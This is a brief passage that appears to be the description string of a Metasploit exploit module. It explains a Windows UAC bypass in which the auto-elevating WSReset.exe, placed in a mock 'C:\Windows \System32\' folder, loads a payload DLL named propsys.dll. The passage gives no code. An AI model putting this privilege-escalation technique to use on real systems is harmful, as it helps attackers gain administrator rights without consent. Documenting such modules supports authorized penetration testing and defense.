'Description' => %q{  
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool  
is run with the "autoElevate" property set to true, however it can be moved to  
a new Windows directory containing a space (C:\Windows \System32\) where, upon  
execution, it will load our payload dll (propsys.dll).
